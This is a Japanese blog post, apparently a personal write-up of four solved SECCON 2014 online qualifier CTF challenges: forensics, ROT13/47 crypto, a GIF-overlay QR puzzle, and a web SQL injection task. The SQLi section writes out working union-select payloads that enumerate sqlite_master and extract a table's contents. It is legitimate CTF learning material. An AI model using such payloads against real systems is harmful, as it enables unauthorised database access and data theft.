SECCON 2014 オンライン予選(日本語)
7/19、頑張りました。
700点獲得で本戦行き切符には届かなかったですが、人権は確保できたのかな、と。
o自分が関わって解けた問題
・フォレンジック 100(879,394bytes)
SECCON 2013 九州予選の時にも似たような問題が出ましたね。
んで、Windows系のFAT16/32だろうと推定。
最初は010EditorでTemplate適用してまともに解こうかと思ったけど、
ファイル名エントリらしきものを抜き出して、あとはブルートフォースアタックを。
> Chrysanthemum.jpg
→んで正解。
・暗号 100(decode me)
まずは英字部分がROT-13されていることはすぐに発見。
若手メンバがググるさんを駆使して、nfkコマンドのrot13/47で2バイト文字もROTされる
2chスレにたどり着いたんで、手元のCentOS6VMで"nkf -r"実行。
> フラグは半角英数文字に変換してから入力してください。
> FLAG{Have fun SECCON2014}
→んで正解。
・Web 100(箱庭SQLiチャレンジ)
インジェクションの基本としてあれこれ。
「+4」でもちゃんと4として処理するし、「"」でもエラーはでない。
まー、union selectで解くんだろうねと思ったが、DBMSの種類がわからないことには。
一式に入ってたDB.dllに着目し、stringsで文字列抽出すると以下の文字列ががが。
> sqlite_compileoption_get
> sqlite_compileoption_used
> sqlite_log
> sqlite_source_id
> sqlite_version
SQLiteだ!
あとは、テーブル管理用のテーブル→該当テーブル→カラム名の順番に攻めていく。
「' union select 1,"b",3,"d",5 from sqlite_master;--」
→「ID=1 NAME=b AGE=3 ADDRESS=d SALARY=5」
「' union select 1,tbl_name,3,"d",5 from sqlite_master where type='table';--」
→「ID=1 NAME=COMPANY AGE=3 ADDRESS=d SALARY=5 ID=1 NAME=SECCON AGE=3 ADDRESS=d SALARY=5」
「' union select 1,sql,3,"d",5 from sqlite_master where type='table' and tbl_name='SECCON';--」
→「ID=1 NAME=CREATE TABLE SECCON(FLAG TEXT NOT NULL) AGE=3 ADDRESS=d SALARY=5」
「' union select 1,FLAG,3,"d",5 from SECCON;--」
→「ID=1 NAME=FLAG{EnjoySQLi} AGE=3 ADDRESS=d SALARY=5」 正解。
・プログラミング 100(重ねてみよう)
『アニメーションGIFを見たらバラセ』
akictf#8ではバラした画像を縦につなぎ合わせましたが、今回はタイトルの通り重ね合わせで。
# Superpositionってやつですne
全部で49フレーム、どう進むにしてもGIFをフレーム分解する必要があるってことで、Webサービスにかけて分解する。
で、初めは「GIF→ICONにして136x136のビット列にしてOR取れば」とも思ったんだけど、枚数が少ないこともあり、
PGM書くより、全部白黒反転させてレイヤー化しちゃえばいいじゃんってことでコツコツ手作業します。
具体的には、
a. 1枚gimpで開く
b. 明度反転
c. レイヤー機能でアルファチャンネルを追加
d. 色域を選択する機能で白い部分を選択
e. 切り取り f. 別名保存(ここまで30秒程度、49回繰り返し)
g. 最初の1枚をgimpで開く
h. 残り48枚をg.にドラッグする→49枚のレイヤーを持った画像になる
i. 全レイヤーを統合
j. 別名保存
ときて、最後にスマホでQRコードを読んでおしまい。
FLAG{Many dot makes a QR code}で正解。
長くなったので、「自分で解いてない問題」「自分でチャレンジしたけど解けなかった問題」は別エントリーで。